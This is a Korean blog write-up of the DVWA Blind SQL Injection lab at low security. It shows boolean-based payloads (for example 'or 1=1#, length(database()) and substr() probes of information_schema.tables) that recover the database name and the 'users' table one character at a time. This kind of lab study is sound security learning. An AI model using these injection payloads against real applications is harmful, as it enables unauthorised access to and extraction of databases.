본문 바로가기

웹해킹/DVWA

DVWA Blind SQL Injection(low) 롸업

창은 이전의 SQL Injection 문제와 동일하다.

 Blind SQL Injection은 SQL 쿼리의 참, 거짓으로만 DB 구조를 파악해서 공격하는 기법이다.

 

'or 1=1# 이렇게 넣으면 참이 반환되고

'or 1=2# 이렇게 넣으면 거짓이 반환된다.

 

우선 데이터베이스를 구성하면 column의 개수를 알아내기 위해서 union select 구문을 사용할 것이다.

union은 두 개의 구문의 결과를 합쳐서 반환해준다.

각 SELECT문은 동일한 column 개수를 가져야 하기 때문에 column 개수를 찾을 수 있다.

이렇게 select에 column을 하나만 넣으면 에러가 발생하고

두 개를 넣으면 참이 반환된다.

column 개수는 2개임을 찾았다.

이제 데이터베이스 이름을 찾는다.

1' and length(database())=4# 에서 참인 것을 확인해서 데이터베이스명의 길이가 4인 것을 알아냈다.

그 다음으로 substr 함수를 이용해서 한글자씩 이름을 알아낸다.

1' and substr(database(),1,1)='d'# 이렇게 넣었을 때 참이 나왔다.

이런식으로 알아냈더니 dvwa가 나왔다.

 

이제 테이블 이름을 찾는다.

1' and length((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1))=5# 

이렇게 하면 참이 나온다.

MYSQL에서 테이블 이름을 담아두는 information_scheman.tables에서 dvwa에 해당하는 table_name을 가져온다.

length안에 괄호가 두개인 이유는 쿼리 구문을 ()로 감싸줘야 인식할 수 있기 때문이다.

 

5글자짜리 테이블 이름을 찾아야 한다.

 1' and substr((select table_name FROM information_schema.tables WHERE table_schema = 'dvwa' limit 1,1), 1, 1)='u'# 

substr 함수로 한글자씩 찾아내면, 테이블 이름이 users인 것을 알 수 있다.

 

'웹해킹 > DVWA' 카테고리의 다른 글

DVWA XSS(DOM)(low) 롸업  (0) 2023.11.09
DVWA Weak Session IDs(low) 롸업  (0) 2023.11.08
DVWA SQL Injection(low) 롸업  (0) 2023.11.08
DVWA Insecure CAPTCHA(low) 롸업  (0) 2023.11.07
DVWA File Upload(low) 롸업  (0) 2023.11.07